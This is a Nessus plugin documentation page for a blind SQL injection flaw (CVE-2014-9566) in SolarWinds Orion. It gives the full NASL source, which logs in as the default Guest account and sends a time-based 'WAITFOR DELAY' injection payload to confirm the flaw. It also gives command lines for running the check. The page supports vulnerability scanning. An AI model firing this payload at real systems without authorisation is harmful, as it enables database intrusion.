SolarWinds Orion Multiple SQLi Vulnerabilities - Nessus
High Plugin ID: 83817This page contains detailed information about the SolarWinds Orion Multiple SQLi Vulnerabilities Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.
Plugin Overview
ID: 83817
Name: SolarWinds Orion Multiple SQLi Vulnerabilities
Filename: solarwinds_orion_multiple_sqli.nasl
Vulnerability Published: 2015-02-24
This Plugin Published: 2015-05-27
Last Modification Time: 2021-01-19
Plugin Version: 1.6
Plugin Type: remote
Plugin Family: CGI abuses
Dependencies:
solarwinds_orion_npm_detect.nasl
Required KB Items [?]: installed_sw/SolarWinds Orion Core
Excluded KB Items: global_settings/supplied_logins_only
Vulnerability Information
Severity: High
Vulnerability Published: 2015-02-24
Patch Published: 2015-02-24
CVE [?]: CVE-2014-9566
CPE [?]: cpe:/a:solarwinds:orion_ip_address_manager, cpe:/a:solarwinds:orion_netflow_traffic_analyzer, cpe:/a:solarwinds:orion_network_configuration_manager, cpe:/a:solarwinds:orion_network_performance_monitor, cpe:/a:solarwinds:orion_server_and_application_manager, cpe:/a:solarwinds:orion_user_device_tracker, cpe:/a:solarwinds:orion_voip_%26_network_quality_manager, cpe:/a:solarwinds:orion_web_performance_monitor
Synopsis
The remote host is affected by multiple SQL injection vulnerabilities.
Description
The remote host is running a version of SolarWinds Orion Core that is affected by multiple blind SQL injection vulnerabilities in the 'AccountManagement.asmx' script. A remote attacker, after being authenticated using the built-in default 'Guest' account, can exploit these vulnerabilities to execute arbitrary SQL commands. Note that the 'Guest' account needs to be enabled for exploitation of these vulnerabilities to occur.
Solution
Contact the vendor for a software version containing a patched Orion Core.
Public Exploits
Target Network Port(s): 8787
Target Asset(s): Services/www
Exploit Available: True (Exploit-DB)
Exploit Ease: No exploit is required
Here's the list of publicly known exploits and PoCs for verifying the SolarWinds Orion Multiple SQLi Vulnerabilities vulnerability:
- Exploit-DB: exploits/windows/webapps/36262.txt
[EDB-36262: SolarWinds Orion Service - SQL Injection]
Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.
WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.
Risk Information
CVSS Score Source [?]: CVE-2014-9566
CVSS V2 Vector: AV:N/AC:L/Au:N/C:P/I:P/A:P/E:H/RL:OF/RC:C
CVSS Base Score: | 7.5 (High) |
Impact Subscore: | 6.4 |
Exploitability Subscore: | 10.0 |
CVSS Temporal Score: | 6.5 (Medium) |
CVSS Environmental Score: | NA (None) |
Modified Impact Subscore: | NA |
Overall CVSS Score: | 6.5 (Medium) |
Go back to menu.
Plugin Source
This is the solarwinds_orion_multiple_sqli.nasl nessus plugin source code. This script is Copyright (C) 2015-2021 and is owned by Tenable, Inc. or an Affiliate thereof.
#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#
include('deprecated_nasl_level.inc');
include('compat.inc');
if (description)
{
script_id(83817);
script_version("1.6");
script_set_attribute(attribute:"plugin_modification_date", value:"2021/01/19");
script_cve_id("CVE-2014-9566");
script_bugtraq_id(72876);
script_xref(name:"EDB-ID", value:"36262");
script_name(english:"SolarWinds Orion Multiple SQLi Vulnerabilities");
script_summary(english:"Attempts to exploit the SQL injection vulnerability.");
script_set_attribute(attribute:"synopsis", value:
"The remote host is affected by multiple SQL injection vulnerabilities.");
script_set_attribute(attribute:"description", value:
"The remote host is running a version of SolarWinds Orion Core that is
affected by multiple blind SQL injection vulnerabilities in the
'AccountManagement.asmx' script. A remote attacker, after being
authenticated using the built-in default 'Guest' account, can exploit
these vulnerabilities to execute arbitrary SQL commands. Note that the
'Guest' account needs to be enabled for exploitation of these
vulnerabilities to occur.");
# http://volatile-minds.blogspot.com/2015/02/authenticated-stacked-sql-injection-in.html
script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?37fa2b56");
# http://www.solarwinds.com/documentation/orion/docs/releasenotes/releasenotes.htm
script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?3e685d6c");
script_set_attribute(attribute:"solution", value:
"Contact the vendor for a software version containing a patched Orion
Core.");
script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
script_set_cvss_temporal_vector("CVSS2#E:H/RL:OF/RC:C");
script_set_attribute(attribute:"cvss_score_source", value:"CVE-2014-9566");
script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
script_set_attribute(attribute:"exploit_available", value:"true");
script_set_attribute(attribute:"vuln_publication_date", value:"2015/02/24");
script_set_attribute(attribute:"patch_publication_date", value:"2015/02/24");
script_set_attribute(attribute:"plugin_publication_date", value:"2015/05/27");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_set_attribute(attribute:"cpe", value:"cpe:/a:solarwinds:orion_network_performance_monitor");
script_set_attribute(attribute:"cpe", value:"cpe:/a:solarwinds:orion_netflow_traffic_analyzer");
script_set_attribute(attribute:"cpe", value:"cpe:/a:solarwinds:orion_network_configuration_manager");
script_set_attribute(attribute:"cpe", value:"cpe:/a:solarwinds:orion_ip_address_manager");
script_set_attribute(attribute:"cpe", value:"cpe:/a:solarwinds:orion_user_device_tracker");
script_set_attribute(attribute:"cpe", value:"cpe:/a:solarwinds:orion_voip_%26_network_quality_manager");
script_set_attribute(attribute:"cpe", value:"cpe:/a:solarwinds:orion_server_and_application_manager");
script_set_attribute(attribute:"cpe", value:"cpe:/a:solarwinds:orion_web_performance_monitor");
script_end_attributes();
script_category(ACT_ATTACK);
script_family(english:"CGI abuses");
script_copyright(english:"This script is Copyright (C) 2015-2021 and is owned by Tenable, Inc. or an Affiliate thereof.");
script_dependencies("solarwinds_orion_npm_detect.nasl");
script_require_keys("installed_sw/SolarWinds Orion Core");
script_exclude_keys("global_settings/supplied_logins_only");
script_require_ports("Services/www", 8787);
exit(0);
}
include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("install_func.inc");
include("url_func.inc");
# plugin requires logging in as Guest to exploit
if (supplied_logins_only) audit(AUDIT_SUPPLIED_LOGINS_ONLY);
port = get_http_port(default:8787);
app_name = "SolarWinds Orion Core";
install = get_single_install(
app_name : "SolarWinds Orion Core",
port : port
);
dir = install['path'];
install_url = build_url(qs:dir, port:port);
clear_cookiejar();
login_url = '/Orion/Login.aspx';
res = http_send_recv3(
port : port,
method : "GET",
item : login_url,
exit_on_fail : TRUE
);
item = eregmatch(pattern:'"__VIEWSTATE"\\s*value\\s*=\\s*"([^"]+)"',
string: res[2]);
viewstate = item[1];
postdata = "__EVENTTARGET=&" +
"__EVENTARGUMENT=&" +
"__VIEWSTATE=" + urlencode(str:viewstate) + "&" +
"__VIEWSTATEGENERATOR=01070692&" +
"ctl00$BodyContent$Username=Guest&" +
"ctl00$BodyContent$Password=";
res = http_send_recv3(
port : port,
method : "POST",
item : login_url,
data : postdata,
content_type : "application/x-www-form-urlencoded",
exit_on_fail : TRUE
);
if(res[1] !~ "Location\s*:\s*/Orion/View.aspx" &&
"302" >!< res[0])
exit(0, "Unable to login to application using Guest Account.");
exploit_url = "/Orion/Services/AccountManagement.asmx/GetAccounts";
# script response is pretty snappy, so use a non-overlapping variance
variance = 2;
passes = 0;
timings = make_list(5,10,15);
postdata = '{"accountId":""}';
# check more than one timing to avoid false positives
foreach timing (timings)
{
http_set_read_timeout(timing*2);
exploit = "?sort=Accounts.AccountID&dir=ASC%20WAITFOR%20DELAY%20%270:0:" + timing + "%27--";
then = unixtime();
res = http_send_recv3(
port : port,
method : "POST",
item : exploit_url + exploit,
data : postdata,
content_type : "application/json",
exit_on_fail : TRUE
);
now = unixtime();
delta = now - then;
if('"SolarWinds.Orion.Web.PageableDataTable"' >< res[2] &&
delta >= timing && delta <= timing + variance)
passes++;
}
if(passes == max_index(timings))
{
security_report_v4(
port : port,
sqli : TRUE,
request : make_list(http_last_sent_request()),
output : chomp(res[2]),
severity : SECURITY_HOLE,
generic : TRUE
);
}
else audit(AUDIT_WEB_APP_NOT_AFFECTED, app_name, install_url);
The latest version of this script can be found in these locations depending on your platform:
- Linux / Unix:
/opt/nessus/lib/nessus/plugins/solarwinds_orion_multiple_sqli.nasl
- Windows:
C:\ProgramData\Tenable\Nessus\nessus\plugins\solarwinds_orion_multiple_sqli.nasl
- Mac OS X:
/Library/Nessus/run/lib/nessus/plugins/solarwinds_orion_multiple_sqli.nasl
Go back to menu.
How to Run
Here is how to run the SolarWinds Orion Multiple SQLi Vulnerabilities as a standalone plugin via the Nessus web user interface (https://localhost:8834/):
- Click to start a New Scan.
- Select Advanced Scan.
- Navigate to the Plugins tab.
- On the top right corner click to Disable All plugins.
- On the left side table select CGI abuses plugin family.
- On the right side table select SolarWinds Orion Multiple SQLi Vulnerabilities plugin ID 83817.
- Specify the target on the Settings tab and click to Save the scan.
- Run the scan.
Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.
Basic usage:
/opt/nessus/bin/nasl solarwinds_orion_multiple_sqli.nasl -t <IP/HOST>
Run the plugin with audit trail message on the console:
/opt/nessus/bin/nasl -a solarwinds_orion_multiple_sqli.nasl -t <IP/HOST>
Run the plugin with trace script execution written to the console (useful for debugging):
/opt/nessus/bin/nasl -T - solarwinds_orion_multiple_sqli.nasl -t <IP/HOST>
Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):
/opt/nessus/bin/nasl -K /tmp/state solarwinds_orion_multiple_sqli.nasl -t <IP/HOST>
Go back to menu.
References
BID | SecurityFocus Bugtraq ID: See also:
- https://www.tenable.com/plugins/nessus/83817
- http://www.nessus.org/u?3e685d6c
- http://www.nessus.org/u?37fa2b56
- https://vulners.com/nessus/SOLARWINDS_ORION_MULTIPLE_SQLI.NASL
- 146309 - SolarWinds Orion Platform < 2019.4.2 Remote Code Execution
- 146310 - SolarWinds Orion Platform < 2020.2.4 Multiple Vulnerabilities
- 62118 - SolarWinds Orion NPM < 10.3.1 Multiple Vulnerabilities
- 155442 - SolarWinds Orion Platform 2020.2.0 < 2020.2.6 Multiple Vulnerabilities
- 144622 - SolarWinds Orion Platform < 2019.4 HF6 / 2020.2 < 2020.2.1 HF2 Authentication Bypass (SUPERNOVA)
- 87600 - SolarWinds Storage Manager AuthenticationFilter Script Upload RCE
- 59116 - SolarWinds Storage Manager Server LoginServlet loginName Parameter SQL Injection
- 124062 - SolarWinds DameWare Mini Remote Client Agent < 12.0.3 Stack Buffer Overflow
- 130458 - SolarWinds Dameware Mini Remote Control Unauthenticated RCE
- 86995 - SolarWinds DameWare Mini Remote Control < 12.0 Hotfix 2 SSLv3 Padding Oracle On Downgraded Legacy Encryption (POODLE)
- 144449 - SolarWinds Orion Platform < 2020.2.1 HF2 Multiple Vulnerabilities
- 91123 - SolarWinds Storage Resource Monitor Profiler < 6.2.3 Multiple Vulnerabilities (Logjam) (POODLE)
- 86421 - SolarWinds Storage Resource Monitor < 6.2 ProcessFileUpload.jsp File Upload RCE
- 47137 - SolarWinds TFTP Server < 10.4.0.13 DoS
- 47138 - SolarWinds TFTP Server < 10.4.0.14 DoS
- 154954 - SolarWinds Virtualization Manager <= 6.3.1 Privilege Escalation
- 92040 - SolarWinds Virtualization Manager Java Object Deserialization RCE
Version
This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file solarwinds_orion_multiple_sqli.nasl version 1.6. For more plugins, visit the Nessus Plugin Library.
Go back to menu.